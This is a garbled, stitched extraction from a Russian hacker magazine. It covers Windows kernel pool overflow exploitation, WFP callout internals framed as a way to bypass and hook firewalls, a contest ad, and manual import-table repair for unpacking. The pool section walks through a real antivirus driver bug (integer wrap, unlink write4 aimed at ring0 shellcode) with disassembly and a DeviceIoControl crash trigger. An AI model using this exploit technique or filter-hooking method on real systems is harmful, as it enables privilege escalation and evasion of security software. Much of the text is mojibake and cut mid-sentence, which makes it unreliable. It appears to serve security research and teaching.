Третья, и последняя таблица используется процессо-
рами для обработки памяти объемов свыше 4080 байт. 
MmNonPagedPoolFreeListHead также используется, 
если закончилась память в остальных таблицах. Доступ 
к этой таблице происходит при обращении к главной 
очереди NonPaged spinlock'ом, также называемой 
LockQueueNonPagedPoolLock. В ходе освобождения 
меньшего по объему блока памяти ExFreePoolWithTag 
объединяет его с предыдущим и следующим свобод-
ными блоками. Так может быть создан блок размером 
в страницу и более. В этом случае блок добавляется в 
таблицу MmNonPagedPoolFreeListHead.

Дампы структур в WinDbg Описание пула при одном процессоре

links

1. phrack.org/issues.
html?issue=65&id=4

2. Subverting VistaTM 
Kernel For Fun And 
Profit by Joanna 
Rutkowska — 
invisiblethings.org/
papers/joanna%20rut-
kowska%20-%20sub-
verting%20vista%20
kernel.ppt

3. Vista RC2 vs. page-
file attack by Joanna 
Rutkowska
theinvisiblethings — 
blogspot.com/
2006/10/
vista-rc2-vs-pagefile-
attack-and-some.
html

4. Windows Heap 
Overflows - David 
Litchfield —
blackhat.com/presen-
tations/win-usa-04/
bh-win-04-litchfield/
bh-win-04-litchfield.
ppt
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Описание пула при нескольких процессорах Структура POOL_DESCRIPTOR 

Алгоритмы выделения 
и освобождения памяти 
Распределение памяти ядром в разных версиях ОС почти не 
меняется, но этот алгоритм не менее сложен, чем heap поль-
зовательских процессов. 
В этой части статьи я хочу проиллюстрировать основы пове-
дения таблиц в ходе процедур выделения и освобождения 
памяти. Многие детали, такие как механизмы синхрони-
зации, будут намеренно опущены. Эти алгоритмы помогут 
в объяснении метода и понимании основ распределения 
памяти в ядре (см. схемы).

От синего экрана смерти 
до исполнения желаний
При переполнении динамической памяти обычно затираются 
метаданные других выделенных блоков, что в основном ведет к 
нескольким BugCheck'ам (или, попросту, BSOD'ам):
BAD_POOL_HEADER. Вызывается в коде ExFreePoolWithTag, 
если PreviousSize следующего чанка не равен BlockSize текущего 
чанка.

BAD_POOL_HEADER (19)

The pool is already corrupt at the time of the 

current request. This may or may not be due to the 

caller. The internal pool links must be walked to 

figure out a possible cause of  the problem, 

and then special pool applied to the suspect tags or 

the driver verifier to a suspect driver.

Arguments:

Arg1: 00000020, a pool block header size is corrupt.

Arg2: 812c1000, The pool entry we were looking for 

within the page. <---- îñâîáîæäàåìûé ÷àíê

Arg3: 812c1fc8, The next pool entry. <---- ñëåäóþùèé 

÷àíê, çàãîëîâîê êîòîðîãî ìû çàòåðëè

Arg4: 0bf90000, (reserved)

DRIVER_CORRUPTED_EXPOOL. Вызывается в коде 
ExFreePoolWithTag, если при unlink'e произошло исключение 
Page Fault.

DRIVER_CORRUPTED_EXPOOL (c5)

An attempt was made to access a pageable (or 

completely invalid) address at an

interrupt request level (IRQL) that is too high.  

This is caused by drivers that have corrupted the 

system pool. Run the driver  verifier against any 

new (or suspect) drivers, and if that doesn't turn 

up the culprit, then use gflags to enable special 

pool.

Arguments:

Arg1: 43434343, memory referenced <----- íàøå ôåéêî-

âîå çíà÷åíèå Blink'a

Arg2: 00000002, IRQL

Arg3: 00000001, value 0 = read operation, 1 = write 

operation

Arg4: 80544d06, address which referenced memory

BAD_POOL_CALLER. Вызывается в коде ExFreePoolWithTag, если 
чанк, который пытаются освободить, уже является освобожден-
ным. Рассмотрим подробнее заголовок (метаданные) чанка:

Заголовок чанка

typedef struct _POOL_HEADER

{

  union

  {

    struct 

    {

      USHORT PreviousSize : 9;

      USHORT PoolIndex : 7;

      USHORT BlockSize : 9;

      USHORT PoolType : 7;

    }

    ULONG32 Ulong1;

  }

  union

  {

    struct _EPROCESS* ProcessBilled;

    ULONG PoolTag;

    struct

    {

      USHORT AllocatorBackTraceIndex; 

      USHORT PoolTagHash;

    }

  }

} POOL_HEADER, *POOL_HEADER; 

 // sizeof(POOL_HEADER) == 8

Значения PreviousSize, BlockSize вычисляются следующим образом:

PreviousSize = (Ðàçìåð_Ïðåäûäöùåãî_×àíêà_Â_Áàéòàõ 

 + sizeof(POOL_HEADER)) / 8

BlockSize = (Ðàçìåð_×àíêà_Â_Áàéòàõ 

 + sizeof(POOL_HEADER)) / 8

Если значение PoolType равно нулю, то такой чанк является осво-
божденным, и после заголовка идет структура nt!_LIST_ENTRY.

kd> dt nt!_LIST_ENTRY

+0x000 Flink : Ptr32 _LIST_ENTRY

+0x004 Blink : Ptr32 _LIST_ENTRY

Эксплуатация
Алгоритм освобождения чанка работает таким образом, что если 
после освобождаемого чанка есть свободный, то происходит слия-



ние, то есть из двух свободных чанков склеивается один. Это про-
исходит путем нехитрой операции unlink'a.
Удаляем запись entry из двусвязного списка:

PLIST_ENTRY b,f;

f=entry->Flink;

b=entry->Blink;

b->Flink=f;

f->Blink=b;

Это ведет к перезаписи 4 байт по контролируемому адресу:

*(àäðåñ) = çíà÷åíèå

*(çíà÷åíèå+4) = àäðåñ

 
Практикуемся!
Обладая достаточными знаниями, рассмотрим уязвимость в драй-
вере одного антивирусного продукта.

.text:00016330    mov cx, [eax]

   ; eax óêàçûâàåò íà äàííûå ïîä íàøèì êîíòðîëåì

.text:00016333    inc eax

.text:00016334   inc eax

.text:00016335   test cx, cx

.text:00016338   jnz short loc_16330

.text:0001633A   sub eax, edx

.text:0001633C   sar eax, 1

.text:0001633E   lea eax, [eax+eax+50h] 

   ; ðàçìåð  UNICODE ñòðîêè + 0x50 áàéò

.text:00016342   movzx edi, ax 

   ; Íåïðàâèëüíîå ïðèâèäåíèå òèïà, îêðóãëåíèå äî WORD

.text:00016345

.text:00016345 loc_16345:;

.text:00016345    movzx eax, di

.text:00016348    push ebx

.text:00016349    xor ebx, ebx

.text:0001634B    cmp eax, ebx

.text:0001634D    jz short loc_16359

.text:0001634F    push eax; Êîë-âî áàéò

.text:00016350    push ebx; Òèï ïóëà(NonPaged)

.text:00016351    call ds:ExAllocatePool 

   ; Â èòîãå ìû êîíòðîëèðóåì ðàçìåð âûäåëÿåìîãî chunk'a

.text:00016357 mov ebx, eax

[..]

.text:000163A6 movzx esi, word ptr [edx]

.text:000163A9 mov [eax+edx], si 

   ; Òóò ïðîèñõîäèò çàïèñü çà ãðàíèöû

.text:000163AD inc edx

.text:000163AE inc edx

.text:000163AF test si, si

[..]

.text:000163F5 push ebx; P

.text:000163F6 call sub_12A43

.text:00012A43 sub_12A43 proc near

 ; CODE XREF: sub_12C9A+5Cp

.text:00012A43

.text:00012A43 P = dword ptr 4

.text:00012A43

.text:00012A43 cmp esp+P], 0

.text:00012A48 jz short locret_12A56

.text:00012A4A push 0; Tag

.text:00012A4C push [esp+4+P]; P

.text:00012A50 call ds:ExFreePoolWithTag 

   ; Îñâîáîæäåíèå, write4 ñöåíàðèé

C-подобный псевдокод

len = wsclen(attacker_controlled);

total_len = (2*len + 0x50) ;

size_2_alloc = (WORD)total_len; //  integer wrap!!!

mem = ExAllocatePool(size_2_alloc);

....

wcscpy(mem, attacker_controlled); //ïåðåïîëíåíèå ïðî-

èñõîäèò ïðè êîïèðîâàíèè ñòðîê

...
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Соответственно, алгоритм выделения памяти

Чем больше дел заведем — тем лучше

Использовать 
двухсвязный
список

Вызвать функцию 
MiAllocatePoolPages

Использовать 
односвязный список, 
выбрать запись из 
таблицы 
PPNPagedLookasideList

>0xFF0

(<0xFF0)&(>0x100)

<0x100Number of Bytes

В зависимости от 
количества хранимых в 
MmNonPagedPoolFreeListHead
блоков используются разные 
алгоритмы

Вызвать функцию 
MiFreePoolPages

Обратиться 
к значению «depth» 
в PPNPagedLookasideList
и определить, хранить 
ли блок

-Использовать переменную
Poolindex POOL_HEADER, чтобы 
определить, который PoolDescriptor
должен быть использован;
-Вставить его в верный диапазон 
записей LIST_ENTRY

NewMemoryBlock

Cоединить с предыдущим 
и следующим блоками, 
если возможно

>0xFF0 <=0x100

false

MemoryBlock
связан со 
страницей true

<0xFF0
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ExFreePool(mem); //òóò ïðîèñõîäèò îñâîáîæäåíèå, ñëèÿ-

íèå ñ ÷àíêîì, êîòîðûé ìû ñîçäàëè, ñôîðìèðîâàâ ôåéêîâûé 

çàãîëîâîê, ìû ïåðåçàïèñûâàåì óêàçàòåëü â ïàìÿòè ÿäðà, 

àäðåñîì â ïîëüçîâàòåëüñêîì àäðåñíîì ïðîñòðàíñòâå, ãäå 

ëåæèò íàø ring0-shellcode

Как видно из кода, уязвимость связана с приведением целочислен-
ных типов, которая ведет к тому, что размер для юникод-строки будет 
рассчитан неправильно. Все это приведет к переполнению, если 
передать драйверу буфер с юникод-строкой больше 0xffff байт.

Нехитрый код для воспроизведения BSoD

hDevice = CreateFileA("\\\\.\\KmxSbx", 

     GENERIC_READ|GENERIC_WRITE,

     0,

     0,

     OPEN_EXISTING,

     0,

     NULL);

inbuff = (char *)malloc(0x1C000);

if(!inbuff)

{

 printf("malloc failed!\n");

 return 0;

}

memset(inbuff, 'A',0x1C000-1);

memset(buff+0x11032, 0x00, 2);

 //end of unicode, size to allocate 0xff0

ioctl = 0x88000080;

first_dword = 0x400;

memcpy(buff, &first_dword, sizeof(DWORD)); 

DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff,

 0x1C000, (LPVOID)inbuff, 0x100, &cb,NULL);

Эксплуатация данной уязвимости не так проста, как может показать-
ся на первый взгляд. Здесь имеют место некоторые ограничения, а 
именно — переполнение (запись за границы чанка) огромное (боль-
ше 0xffff), что потенциально ведет к синему экрану еще до исполне-
ния ExFreePoolWithTag (и, следовательно, к замене указателей при 
слиянии):

PAGE_FAULT_IN_NONPAGED_AREA (50)

Invalid system memory was referenced. This cannot be 

protected by try-except,

it must be protected by a Probe.  Typically the 

address is just plain bad or it

is pointing at freed memory.

Arguments:

Arg1: fe8aa000, memory referenced.

Arg2: 00000001, value 0 = read operation, 1 = write 

operation.

Arg3: f0def3a9, If non-zero, the instruction address 

which referenced the bad memory address.

Arg4: 00000000, (reserved)

eax=00029fa8 ebx=fe8a7008 ecx=00000008 edx=fe880058 

esi=00004141 edi=fe87d094

eip=f0def3a9 esp=f0011b78 ebp=f0011bac iopl=0         

nv up ei pl nz na pe nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             

efl=00010206

KmxSbx+0x63a9:

f0def3a9 66893410  mov word ptr [eax+edx],si    

ds:0023:fe8aa000=???? <---- çàïèñü çà ãðàíèöó, óëåòåëè 

â íåñïðîåöèðîâàííóþ ïàìÿòü

При перезаписи памяти мы можем переписать данные, которые явля-
ются указателями каких-либо ядерных структур, что может привести к 
самым неожиданным последствиям (очередному BSoD).
Для улучшения эффективности эксплуатации данной уязвимости 
воспользуемся следующим трюком: создадим N потоков, кото-
рые вызывают DeviceIoControl, с такими параметрами, чтобы с 
какой-то вероятностью N количество блоков определенной длины 
(0xff0 в данном примере) были выделены, затем освобожде-
ны — это дает нам шанс, что при переполнении мы не получим 
синий экран типа Page Fault (PAGE_FAULT_IN_NONPAGED_AREA). 
Предложенный пример кода с подробными комментариями ищи 
на нашем DVD.

Выводы
На прощание могу лишь сказать, что в интернете очень мало 
информации об эксплуатации Kernel Pool Overflow. Также огорчает, 
что в паблике нет рабочих эксплойтов, из-за чего создается некое 
заблуждение, что переполнение памяти в ядре очень сложно экс-
плуатировать, а если и возможно, то максимальный исход злодея-
ний — обычный BSoD.
В этой статье авторы попытались показать на реальном примере, 
что, подключив смекалку, можно улучшить стабильность методов экс-
плуатации подобных уязвимостей.
В дальнейших статьях мы поговорим о более сложных аспектах экс-
плуатации Kernel Pool Overflow, которые, конечно, существуют и ждут 
своего часа :). Stay tuned! z  
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Наглядный ядерный шеллкод :)

Незатейливая схема алгоритма, 
который мы осуществили

Kernel Pool Overflow

Our chunk 

OverflowHeader Next 
Header

List
Entry

Chunk we overflow

Potential list entry 
depending on chunk type
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>> coding

X-testing  сontest

http://lotus.xakep.ru

Все, что нужно для участия в конкурсе — установить 
Lotus Symphony 3. Дальше все зависит от тебя: чем больше 
ошибок ты найдешь, чем больше разумных предложе-
ний сделаешь, тем больше у тебя шансы выиграть крутые 
призы! Все свои мысли оставляй на сайте: lotus.xakep.ru.

     Журнал Хакер представляет конкурс по тестированию офисного
пакета IBM Lotus Symphony 3. Покажи себя в деле — и выиграй поездку 
в США на конференцию Lotusphere в январе 2011 года!

DVD
На нашем диске тебя ждет 
Lotus Symphony 3 для еже-
дневного использования и 
участия в конкурсе
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Методика исследования
Сначала немного определимся с определениями. Callout в тер-
минологии WFP — это набор функций для фильтрации трафика. У 
нас есть три функции, составляющие callout: classifyFn, notifyFn, 
flowDeleteFn (см. структуру FWPS_CALLOUT). Интереснее всего 
classifyFn (классифицирующая функция): она, собственно, и реша-
ет, что делать с соединением/пакетом — разрешить или запре-
тить. notifyFn просто уведомляет (как можно понять из названия) о 
создании и удалении фильтра. Фильтр — это набор условий филь-

трации. Когда мы вызываем функцию FwpsCalloutRegister, и нам 
возвращают 32-битный идентификатор коллаута.
Далее я не буду останавливаться на определениях, элемен-
тарные вещи ты сможешь вычитать в доках, ссылки на кото-
рые найдешь на боковых сносках. Еще одно замечание — для 
удаленной отладки используем WinDbg, гостевая система 
— Windows Vista x64, дизассемблер — Ida Pro, символы для 
дебаггера корректны. Перезагрузить их (символы) можно 
командой .reload /s /n.  Для того, чтобы успешно исследовать 
внутреннее устройство WFP, нужно выработать определенный 

  Ìåõàíèçì WFP, ïîÿâèâøèéñÿ â Windows Vista, óæå àêòèâíî 
èñïîëüçóåòñÿ ðàçðàáîò÷èêàìè çàùèò (ðàçëè÷íûõ ôàéåðâîëîâ è 
àíòèâèðóñîâ). Äåéñòâèòåëüíî, ïðåäîñòàâëÿåìûé íàáîð ÿäåðíûõ 
ôóíêöèé óñïåøíî ñïðàâëÿåòñÿ ñî ñâîèìè îáÿçàííîñòÿìè ïî óïðîùåíèþ 
æèçíè äåâåëîïåðàì. Íî ñåãîäíÿ ìû íå áóäåì ãîâîðèòü î ðàçðàáîòêå 
ÿäåðíûõ ôèëüòðîâ òðàôèêà ïðè ïîìîùè WFP, à îáñóäèì âîïðîñ îáõîäà 
ýòèõ ôèëüòðîâ. 

WFP 
ÈÇÍÓÒÐÈ 

Èññëåäóåì âíóòðåííîñòè Windows 
Filtering Platform 



подход. В нашем случае довольно удобно напи-
сать свой callout (а точнее, драйвер, содержащий 
callout). Затем расставить брейки на функции 
нашего коллаута и посмотреть в окно Call Stack 
(в WinDbg вызывается <Alt+6> или одноименным 
пунктом меню), дабы выяснить, откуда происходит 
вызов наших функций. И вот, останавливаемся 
в первый раз на нотифицирующей функции. Call 
Stack.

ipsblock!FlNotify  ;-> íàøà íîòèôèöèðóþùàÿ 

ôóíêöèÿ

NETIO!FeNotifyFilter+0x3a

NETIO!HandleFilterFree+0x1f

NETIO!DeleteFilterFromIndex+0x22b

NETIO! ?? ::FNODOBFM::`string'+0x6f03

NETIO!IoctlKfdCommitTransaction+0x39

Ага, понятно. Непосредственный вызов происходит из 
функции FeNotifyFilter. Теперь посмотрим, что там: 

fffffa60`00bac100 sub rsp,20h

fffffa60`00bac104 mov rbx,rdx

fffffa60`00bac107 mov rdi,rcx

fffffa60`00bac10a lea rdx,[rsp+38h] 

fffffa60`00bac10f mov ecx,dword ptr 

[rbx+2Ch]

fffffa60`00bac112 mov esi,r8d

fffffa60`00bac115 call 

NETIO!FeGetRefCallout

     

(fffffa60`00ba3060)

fffffa60`00bac11a mov r8,rbx

fffffa60`00bac11d mov rbx,qword ptr 

[rsp+38h] 

 ; ïðåäïîëîæèòåëüíî àäðåñ îáúåêòà-

êîëëàóòà

fffffa60`00bac122 mov rdx,rdi

fffffa60`00bac125 mov ecx,esi

fffffa60`00bac127 call qword ptr 

[rbx+10h] 

 ; âûçîâ ipsblock!FlNotify

fffffa60`00bac12a test eax,eax

Продолжим наши исследования. Брякаемся на нашей 
классифицирующей функции (FlClassify). Колстек при 
вызове: 

ipsblock!FlClassify  ;-> íàøà ôóíêöèÿ

NETIO!ArbitrateAndEnforce+0x3b0

NETIO!KfdClassify+0x8f1

tcpip!WfpAleClassify+0x47

tcpip! ?? ::FNODOBFM::'string'+0x178d3

tcpip!WfpAleAuthorizeConnect+0x2ef

tcpip!TcpCreateAndConnectTcbWorkQueueRoutin

e+0x4a2

tcpip!TcpCreateAndConnectTcb+0x48a

tdx!TdxConnectConnection+0x4e6

tdx!TdxTdiDispatchInternalDeviceControl+0

x158

Посмотрим код NETIO!ArbitrateAndEnforce (в листинге 
оставлено только самое важное). Двойной щелчок по 
строке в окне вызовов переносит нас в недра дизас-
семблерного кода.

fffffa60`00b9e9ef  add rbp,rbp

fffffa60`00b9e9f2  lock xadd dword ptr 

[r12+rbp*8+80h],eax

fffffa60`00b9e9fc  cmp qword ptr [r12+80h],r9

fffffa60`00b9ea04  jne NETIO! ?? 

::FNODOBFM::'string'+0x6719 

fffffa60`00b9ea0a  mov rax,qword ptr [NETIO!gWfpGlobal]

fffffa60`00b9ea11 cmp ebx,dword ptr [rax+970h] ; max 

count 

fffffa60`00b9ea17 jae NETIO! ?? 

::FNODOBFM::'string'+0x6785

fffffa60`00b9ea1d imul rbx,rbx,38h

fffffa60`00b9ea21 add rbx,qword ptr [rax+978h] 

 // add callout base

fffffa60`00b9ea28 cmp dword ptr [rbx],0  

 // íåíóëåâîé callout?

fffffa60`00b9ea2b  je NETIO! ?? 

::FNODOBFM::'string'+0x6785

... 

fffffa60`00b9eacb  lea rax,[rsp+78h]

fffffa60`00b9ead0  mov rdx,r15

fffffa60`00b9ead3 mov qword ptr [rsp+28h], rax

fffffa60`00b9ead8 mov qword ptr [rsp+20h], r12

fffffa60`00b9eadd call qword ptr [rbx+8]

Попробуем собрать воедино то, что видим в этом и 
предыдущем листинге. Очевидно, что значительную 
роль в получении адреса нужного callout играет 
переменная NETIO!gWfpGlobal — это основа для 
получения всех остальных нужных данных. Сначала 
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Смотрим call-stack в WinDbg

Результат enum’a всех коллаутов
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значение в ebx сравнивается 
с некоторым значением. 
Чтобы узнать, что лежит в ebx 
на момент вызова, я поста-
вил брейк на сравнение по 
адресу fffffa60`00b9ea11. И 
как ты думаешь, что я уви-
дел? Помнишь, я упоминал 
про то, что при регистрации 
callout нам возвращается его 
32-битный идентификатор? Так 
вот, в момент сравнения как 
раз он и находится в ebx. Ага, 
теперь-то ясно, что в dword ptr 
[rax+970h] — это максимальное 
число коллаутов в системе 
(в моей — 0x11e). В ebx у нас 
индекс коллаута, потом выпол-
няется определение адреса 
структуры коллаута, размер 
которой (судя по инструкции 
imul rbx,rbx,38h) равен 0x38 
байт. По адресу qword ptr 

[rax+978h] находится база всех 
коллаутов (то есть адрес начала 
буфера для объекто-коллаутов).

Теперь для вывода инфы об установленных в системе коллаутах 
можно написать свою функцию. В качестве аргумента она при-
нимает значение переменной gWfpGlobal (узнается адрес коман-
дой dq poi(netio!gWfpGlobal) в WinDbg).

typedef struct _FW_CALLOUT_OBJECT

{

   ULONG64 uFlag;

   ULONG64 uClassifyFunction;

   ULONG64 uNotifyFunction;

   ULONG64 uFlowDeleteFunction;

   //ULONG64 uReserved[3];

}FW_CALLOUT_OBJECT,*PFW_CALLOUT_OBJECT;

#define CALLOUT_OBJECT_SIZE 0x38

.... 

VOID PrintCallouts6(ULONG64 gWfpGlobal)

{

   ULONG uMaxCount;

   ULONG64 uCalloutBase;

   PFW_CALLOUT_OBJECT pCurrentCallout;

   // áàçà êîëëàóòîâ

   uCalloutBase = *(PULONG64)(gWfpGlobal+0x978);

   // ïîëó÷àåì ìàêñèìàëüíîå ÷èñëî êîëëàóòîâ

   uMaxCount = *(PULONG)(gWfpGlobal + 0x970);

   CHAR ModuleName[10]={0};

   FLOUT(DPFLTR_IHVDRIVER_ID,

      DPFLTR_ERROR_LEVEL,

      "Max id count %d\n",

      uMaxCount);

   for(int i=0;i<uMaxCount;i++)

   {

      pCurrentCallout = (PFW_CALLOUT_OBJECT)

         (uCalloutBase + i*CALLOUT_OBJECT_SIZE);

      if(pCurrentCallout->uFlag)

      {

         FLOUT(DPFLTR_IHVDRIVER_ID,

            DPFLTR_ERROR_LEVEL,

            "Current callout 0x%I64X\n",

            pCurrentCallout);

         FLOUT(DPFLTR_IHVDRIVER_ID,

            DPFLTR_ERROR_LEVEL,

            " Notify routine 0x%I64X\n Classify 

routine 0x%I64X\n Flow delete function 0x%I64X\n",

            pCurrentCallout->uNotifyFunction,

            pCurrentCallout->uClassifyFunction,

Примеры драйверов 
WFP в wdk

Архитектура WFP в msdn
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pCurrentCallout->uFlowDeleteFunction);

         // ïîëó÷àåì èìÿ ìîäóëÿ, êîòîðîìó ïðèíàäëå-

æèò íîòèôèöèðóþùàÿ ôóíêöèÿ 

         GetModuleName(ModuleName,

            8,

            pCurrentCallout->uClassifyFunction);

         FLOUT(DPFLTR_IHVDRIVER_ID,

            DPFLTR_ERROR_LEVEL,

            " Module name  = %s\n",

            ModuleName);

         RtlZeroMemory(ModuleName,sizeof(ModuleName));

      }

   }

}

Код достаточно прокомментирован, да и не сложный вовсе. 
Для удобства чтения кода я объявил структуру FW_CALLOUT_
OBJECT. GetModuleName — это моя функция, ищущая имя 
модуля по адресу внутри него. Использует пресловутую 
ZwQuerySystemInformation(... SystemModuleInformation...) и, 
думаю, большинство читателей так или иначе представляет, как 
энумить модули таким способом :).
Имея такую важную инфу, как адреса классифицирующих функций, 
можно делать все, что угодно. Например, перехватить их. Кстати, 
проверить, что мы все сделали правильно, можно, «не отходя от 
кассы», прямо тут же, в WinDbg, командой u адрес.

 Notify routine 0xFFFFFA6000E113B0

 Classify routine 0xFFFFFA6000E35070

 Flow delete function 0x0

 Module name  = tcpip.sys

...  

kd> u 0xFFFFFA6000E113B0 ;-> ìû äåéñòâèòåëüíî èìååì 

äåëî ñ íîòèôèöèðóþùåé ôóíêöèåé äðàéâåðà tcpip.sys?

tcpip!IPSecAleConnectCalloutNotify:

fffffa60`00e113b0 33c0  xor eax,eax

kd> u 0xFFFFFA6000E35070 ;-> ìû äåéñòâèòåëüíî èìååì 

äåëî ñ êëàññèôèöèðóþùåé ôóíêöèåé äðàéâåðà tcpip.

sys?

tcpip!IPSecInboundTransportFilterCalloutClassifyV4: 

fffffa60`00e35070 488bc4 mov rax,rsp

Теперь можно с уверенностью сказать, что все верно.

От Vista к Windows 7
Что касается Windows 7, которая до сего времени совсем не упо-
миналась, то здесь все проще (но по-другому!). И вообще, WFP 
был несколько изменен и дополнен. Там есть внутренняя функция 
netio!ProcessCallout: 

.text:000000000001C680 ProcessCallout  proc near               

 ; CODE XREF: ArbitrateAndEnforce+2A457

... 

.text:000000000001C71D mov     rax, cs:gWfpGlobal

.text:000000000001C724 cmp     ebx, [rax+548h] 

 // max count

.text:000000000001C72A jnb     loc_2D270

.text:000000000001C730 mov     rdi, rbx

.text:000000000001C733 shl     rdi, 6 // callout size

.text:000000000001C737 add  rdi, [rax+550h] 

 // callout base 

.text:000000000001C73E cmp  [rdi+4], esi

.text:000000000001C741 jz  loc_2D270

...

.text:000000000001C7E6 mov     r10, [rdi+10h]

.text:000000000001C7EA mov     rbx, qword ptr

 [rsp+118h+arg_30.LockState]

.text:000000000001C7F2 mov     r8, [rsp+118h+arg_18]

.text:000000000001C7FA mov     rcx, [rsp+118h+arg_8]

.text:000000000001C802 mov     rdx, rbp

.text:000000000001C805 cmp     [rdi], esi

.text:000000000001C807 jz      loc_2D56F

.text:000000000001C80D mov     [rsp+118h+var_E8], rbx

.text:000000000001C812  mov     r9, r13

.text:000000000001C815 mov     [rsp+118h+var_F0], r14

.text:000000000001C81A mov     [rsp+118h+var_F8], rax

.text:000000000001C81F call    r10 // Classifyfn

Как видно из листинга выше, gWfpGlobal играет такую же важную 
роль в функционировании WFP Win7, как и в Vista. Однако струк-
туры теперь 0x40 (shl rdi, 6, что эквивалентно * 2^6), изменилось 
смещение callout base ([rax+550h]) и других полей. Так что enum 
случая Win7 я оставляю for fun увлеченному читателю :). А также в 
netio есть функция GetCalloutEntry, которая подтверждает сказан-
ное выше:

.text:000000000001CE30 GetCalloutEntry proc near                

 ; CODE XREF: FeGetRefCallout+2057

 ; FeGetCalloutFlowDelete+28 ...

.text:000000000001CE30

.text:000000000001CE30 ; FUNCTION CHUNK AT 

.text:0000000000028954 SIZE 0000000B BYTES

.text:000000000001CE30

.text:000000000001CE30 mov     rax, cs:gWfpGlobal

.text:000000000001CE37 cmp     ecx, [rax+548h] 

 // max count

.text:000000000001CE3D jnb     loc_28954

.text:000000000001CE43 mov     rax, [rax+550h] 

 // callout base

.text:000000000001CE4A mov     ecx, ecx

.text:000000000001CE4C shl     rcx, 6 

 // callout object size

.text:000000000001CE50 add     rcx, rax

.text:000000000001CE53  mov     [rdx], rcx

.text:000000000001CE56 cmp     dword ptr [rcx+4], 0

.text:000000000001CE5A jz      loc_28954

.text:000000000001CE60 rep retn

.text:000000000001CE60 GetCalloutEntry endp

Заключение
Конечно, такой монстр, как WFP, требует гораздо более глубо-
кого исследования. Я рассмотрел только некоторые интерес-
ные моменты функционирования WFP, но это далеко не все. 
Освоиться с программированием WFP тебе поможет WDK, а с 
его внутренним устройством — стандартный инструментарий 
реверсера. z  

Символы для netio.sys Ida должна подгрузить сама 
при наличии доступа к инету
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Введение, 
или зачем все это надо
Представь себе такую ситуацию (наверняка каждый был в ней, 
и не раз): решил ты вручную распаковать какую-то программу, 
нашел OEP, зациклил программу, снял дамп памяти и … дамп не 
работает! Причина здесь вполне очевидна — накрылась таблица 
импорта. В принципе, попробовать  восстановить ее можно и с 
помощью ImpRec, очень неплохой программы, восстанавливаю-
щей импорт (точнее, пытающейся сделать это). Но бывают случаи, 
когда ImpRec восстанавливает (если, конечно, вообще что-то вос-
станавливает) не всю таблицу импорта, а, в лучшем случае, только 
ее часть. При таком раскладе мы оказываемся один на один со 
снятым дампом. И что делать? Как быть? На самом деле, вос-
становление таблицы импорта — не такая уж и сложная задача 
(в большинстве случаев), как кажется. Сейчас я расскажу о том, 
как это сделать с помощью подручных средств (отладчика, Hex-
редактора и редактора заголовка PE-файлов).

Строение таблицы импорта
Таблицу импорта описывает первый (считая от нуля) элемент мас-
сива DataDirectory. Ее адрес (здесь и далее под словом «адрес» 
мы будем подразумевать RVA-адрес) хранится по смещению 80h 
от начала PE-заголовка файла. Сама таблица представляет собой 
массив структур IMAGE_IMPORT_DESCRIPTOR, вот ее прототип:

struct IMAGE_IMPORT_DESCRIPTOR {

union {

 DWORD Characteristics;

  DWORD OriginalFirstThunk;

 };

 DWORD TimeDateStamp;

 DWORD ForwarderChain;

 DWORD Name;

 DWORD FirstThunk;

}

  Äëÿ àâòîìàòèçàöèè ðàñïàêîâêè ïðîãðàìì ñîçäàíî íåìàëî ðàçëè÷íûõ 
óòèëèò. Íî íè îäíà èç íèõ íå äàåò ñòîïðîöåíòíóþ ãàðàíòèþ ðåøåíèÿ 
ïîñòàâëåííîé ïåðåä íåé çàäà÷è. Ïîýòîìó ïîëàãàòüñÿ ïðèõîäèòñÿ òîëüêî 
íà ñåáÿ. Åñëè ñíÿòèå äàìïà ïàìÿòè, êàê ïðàâèëî, íå âûçûâàåò ïðîáëåì, 
òî ïðè ðåàíèìàöèè ýòîãî äàìïà (ïðèäàíèè åìó ðàáîòîñïîñîáíîãî 
ñîñòîÿíèÿ) ìû ïîëàãàåìñÿ íà ïðîãðàììû, êîòîðûå ìîãóò è íå ñðàáîòàòü. 
Êàê æå âåðíóòü äàìï ê æèçíè â ýòîì ñëó÷àå?

ÐÓ×ÍÀß 
ÐÅÀÍÈÌÀÖÈß 
ÄÀÌÏÀ ÏÀÌßÒÈ
Ðóêîâîäñòâî ïî ðó÷íîìó âîññòàíîâëåíèþ ïàìÿòè



Сам массив заканчивается структурой IMAGE_IMPORT_
DESCRIPTOR, все поля которой равны нулю.
Из всех полей этой структуры нас интересует интересуют только 
два:
• Name — указывает на строку с именем библиотеки;
• FirstThunk — указывает на массив структур IMAGE_THUNK_
DATA32.
Остальные поля могут быть пустыми.
Структура IMAGE_THUNK_DATA32 имеет следующий прототип:

struct IMAGE_THUNK_DATA32 {

   union {

      DWORD ForwarderString;

      DWORD Function;

      DWORD Ordinal;

      DWORD AddressOfData;

   } u1;

}

Единственное поле этой структуры указывает на строку с именем 
импортируемой функции за вычетом двух байт (в них хранится 
ординал функции). Заканчивается массив нулевым элементом. 

Когда происходит загрузка PE-файла, загрузчик разбирает массив 
структур IMAGE_IMPORT_DESCRIPTOR, загружает в память про-
цесса соответствующие библиотеки (находит их по полю Name) 
и перезаполняет массив FirstThunk (по этой причине он должен 
располагаться в области памяти, доступной как на чтение, так и на 
запись). В этом массиве вместо имен функций (или их ординалов, 
в случае импортирования по ординалу) оказываются записан-
ными адреса соответствующих функций. Именно через массив 
FirstThunk и происходит вызов API-функций.

Почему сдампенный импорт 
не работает?
Предположим, что у нас есть дамп памяти некоего процесса с уже 
восстановленной точкой входа, который наотрез отказывается 

запускаться как самостоятельный exe-файл. В чем причина? В 
дампе таблица импорта выглядит примерно так, как показано на 
рисунке. Тебя не смущает значение поля ThunkValue? Оно ведь 
вроде как должно указывать на имя импортируемой функции. На 
самом деле произошло следующее: когда мы запустили зациклен-
ную  упакованную программу с целью снять с нее дамп памяти, 
загрузчик переписал содержимое массива FirstThunk адресами 
импортируемых функций, а дампер снял дамп памяти, как он есть. 
То есть сейчас содержимое массива FirstThunk указывает не на 
имя (или ординал) импортируемой функции, а на ее непосред-
ственный адрес. Что происходит при попытке запустить этот файл 
на исполнение?
Происходит следующее:
1) Загрузчик по массиву DataDirectory находит таблицу импорта;.
2) Из структуры IMAGE_IMPORT_DESCRIPTOR извлекает имя загру-
жаемой библиотеки и адрес массива FirstThunk;.
3) Анализируя массив FirstThunk, загрузчик, в надежде найти имя 
импортируемой функции, обращается по адресу, указанному в этом 
массиве, и находит там… невыделенную область памяти (сама 
